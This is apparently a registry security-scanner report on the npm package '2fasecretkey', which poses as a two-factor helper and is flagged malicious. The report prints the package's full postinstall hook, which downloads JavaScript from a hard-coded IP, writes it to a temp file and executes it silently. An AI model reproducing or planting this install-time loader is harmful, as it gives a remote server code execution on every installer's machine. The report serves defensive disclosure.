registry / Remote code execution / 2fasecretkey

2fasecretkey

Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies

This report shows the evidence for 2fasecretkey@1.1.4. 3 of 3 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package contains an automatic install-time remote payload loader that executes unaudited code from a hard-coded endpoint. This is concrete malware behavior, regardless of the benign-looking API files.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation runs the postinstall lifecycle hook.

Impact

The remote server can execute arbitrary code with the installing user's permissions.

Mechanism

Downloads, writes, and requires a remote JavaScript payload.

Attack narrative

On npm installation, the postinstall command requests a JavaScript file from a hard-coded IP address. It accumulates the response, writes it under a randomized filename in the system temporary directory, and loads it with require. This gives the remote server arbitrary code execution on every installation and hides failures with empty error handlers.

AI rationale

Evidence

package.jsonindex.js/tmp/_vc<random>.js

Network endpoints1

185.14.92.233:7777/p.js

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook downloads JavaScript from a hard-coded IP address, saves it in the temporary directory, and executes it during installation.
The hook suppresses errors, making the remote payload execution silent if it fails.
The declared TOTP entrypoint imports a missing local module, while the install hook is fully functional.

Evidence against

The visible runtime entrypoint only exposes TOTP helper functions and contains no network or file operations.
No credential harvesting, agent configuration mutation, or destructive action is present in the packaged source files.

Behavioral surface

Source

Crypto

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.04 KB of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node -e \"var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_vc'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d);require(t)}catch(e){}})}).on('error',function(){});\""

High

Suspicious Lifecycle Evidence

The postinstall hook downloads JavaScript from a hard-coded IP address, saves it in the temporary directory, and executes it during installation.

package.jsonView on unpkg · L7

index.jsView file

7const { createHmac } = require("crypto"); const _c = require("./lib/core");

High

Missing Postinstall Target

The declared TOTP entrypoint imports a missing local module, while the install hook is fully functional.

index.jsView on unpkg · L7

Source & flagged code

4 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The postinstall hook downloads JavaScript from a hard-coded IP address, saves it in the temporary directory, and executes it during installation.

Findings

1 Critical3 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighMissing Postinstall Targetindex.js

LowScripts Present

Affected versions and remediation

This report applies to 2fasecretkey@1.1.4.

The versions list below shows the verdict for each recorded version.

Avoid installing 2fasecretkey@1.1.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-29 02:30:11.879Z (UTC).

Source advisory published: 2026-08-29 01:55:51.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

1.1.4latestshownMaliciousRemote Code ExecutionBlockPublishedAug 27, 2026, 8:51 PM 1.1.3MaliciousRemote Code ExecutionBlockPublishedAug 27, 2026, 8:47 PM 1.1.2MaliciousRemote Code ExecutionBlockPublishedAug 27, 2026, 8:42 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Runtime surface

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages